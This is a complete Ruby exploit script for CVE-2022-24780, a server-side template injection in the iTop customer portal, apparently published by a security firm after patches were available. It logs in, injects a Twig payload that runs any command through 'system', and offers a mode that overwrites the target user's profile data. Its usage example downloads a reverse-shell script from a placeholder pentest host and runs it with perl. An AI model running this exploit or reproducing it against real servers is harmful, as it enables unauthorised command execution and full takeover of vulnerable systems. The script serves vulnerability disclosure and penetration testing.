#!/usr/bin/env ruby # Exploit ## Title: iTop < 2.7.6 - (Authenticated) Remote command execution ## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr) ## Author website: https://pwn.by/noraj/ ## Exploit source: https://github.com/Acceis/exploit-CVE-2022-24780 ## Date: 2022-05-20 ## Vendor Homepage: https://www.combodo.com/itop ## Software Link: https://github.com/Combodo/iTop/archive/refs/tags/2.7.5.tar.gz ## Version: 2.x < 2.7.6 and 3.x.x-beta < 3.0.0 ## Tested on: iTop version 2.7.4 (Ubuntu 18.04.4 LTS - 7.3.28) # Vulnerability ## Discoverer: Markus KRELL ## Date: 2021-10-04 ## Discoverer website: https://markus-krell.de/ ## Discovered on iTop 2.7.4-7194 and 3.0.0-beta-7312 ## Title: Server-Side Template Injection inside customer Portal ## CVE: CVE-2022-24780 ## CWE: CWE-94, CWE-1336 ## Patch: ## - https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b ## - https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305 ## - https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3 ## References: ## - https://nvd.nist.gov/vuln/detail/CVE-2022-24780 ## - https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54 ## - https://markus-krell.de/itop-template-injection-inside-customer-portal/ require 'httpx' require 'docopt' require 'nokogiri' doc = <<~DOCOPT iTop < 2.7.6 - (Authenticated) Remote command execution Usage: #{__FILE__} full <url> <username> <password> <cmd> [--debug] #{__FILE__} light <url> <username> <password> <cmd> [--debug] #{__FILE__} -h | --help full: exploit with an emulated browser, execute JavaScript, preserve original user profile information light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function Options: <url> Root URL (base path) including HTTP scheme, port and root folder <username> iTop portal username <password> iTop portal user password <cmd> Command to execute on the target --debug Display arguments -h, --help Show this screen Examples: #{__FILE__} full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt' #{__FILE__} light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl' DOCOPT def login(root_url, user, pass, http) login_url = "#{root_url}/pages/UI.php" params = { 'auth_user' => user, 'auth_pwd' => pass, 'login_mode' => 'form', 'loginop' => 'login' } http.post(login_url, form: params).body.to_s end def login_watir(root_url, user, pass, browser) login_url = "#{root_url}/pages/UI.php" browser.goto login_url browser.text_field(id: 'user').set(user) browser.text_field(id: 'pwd').set(pass) browser.button(value: 'Enter iTop').click end def fetch_form(root_url, http) profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal" # Fetch and parse HTML document doc = Nokogiri.HTML5(http.get(profile_url).body.to_s) action = doc.css('form').first['action'] transaction_id = doc.css('input[name="transaction_id"]').first['value'] form_id = doc.css('form').first['id'] # doesn't work because it's populated with javascript, we'll need watir for that #phone = doc.css('input[id^=field_phone]').first['value'] #location = doc.css('select[id^=field_location_id] option[selected]').first['value'] #function = doc.css('input[id^=field_function]').first['value'] return {action: action, tid: transaction_id, fid: form_id} end def exploit(root_url, cmd, http, browser) form_data = fetch_form(root_url, http) vuln_url = "#{root_url}#{form_data[:action]}" user_info = browser.nil? ? {phone: '', location: '', function: ''} : fetch_form_js(root_url, browser) params = { 'operation' => 'submit', 'stimulus_code' => '', 'transaction_id' => form_data[:tid], # source data already escapes backslashes and double quotes for JSON # so \ -> \\ and " -> \" # but we need to esacpe backslash once for Ruby too because we need an interpolated string # so \ -> \\ -> \\\\ and " -> \\" 'formmanager_class' => 'Combodo\iTop\Portal\Form\ObjectFormManager', 'formmanager_data' => %Q^{"id":"#{form_data[:fid]}","transaction_id":"#{form_data[:tid]}","formmanager_class":"Combodo\\\\iTop\\\\Portal\\\\Form\\\\ObjectFormManager","formrenderer_class":"Combodo\\\\iTop\\\\Renderer\\\\Bootstrap\\\\BsFormRenderer","formrenderer_endpoint":"#{form_data[:action]}","formobject_class":"Person","formobject_id":"1","formmode":"edit","formactionrulestoken":"","formproperties":{"id":"default-user-profile","type":"custom_list","fields":[],"layout":{"type":"twig","content":"<!-- data-field-id attribute must be an attribute code of the class --><!-- data-field-flags attribute contains flags among read_only/hidden/mandatory/must_prompt/must_change --><div class=\\"form_field\\" data-field-id=\\"first_name{{['#{cmd}']|filter('system')}}\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"name\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"org_id\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"email\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"phone\\"></div><div class=\\"form_field\\" data-field-id=\\"location_id\\"></div><div class=\\"form_field\\" data-field-id=\\"function\\"></div><div class=\\"form_field\\" data-field-id=\\"manager_id\\" data-field-flags=\\"read_only\\"></div>"}}}^, 'current_values[phone]' => user_info[:phone], 'current_values[location_id]' => user_info[:location], 'current_values[function]' => user_info[:function] } http.post(vuln_url, form: params).body.to_s end def fetch_form_js(root_url, browser) # those values can't be fetched with nokogiri alone sicne they are populated using javascript profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal" browser.goto profile_url phone = browser.text_field(name: 'phone').value location = browser.select(name: 'location_id').selected_options.first.value function = browser.text_field(name: 'function').value return {phone: phone, location: location, function: function} end begin args = Docopt.docopt(doc) pp args if args['--debug'] http = HTTPX.plugin(:cookies) login(args['<url>'], args['<username>'], args['<password>'], http) if args['full'] require 'watir' require 'webdrivers' b = Watir::Browser.new :firefox login_watir(args['<url>'], args['<username>'], args['<password>'], b) elsif args['light'] b = nil end exploit(args['<url>'], args['<cmd>'], http, b) rescue Docopt::Exit => e puts e.message end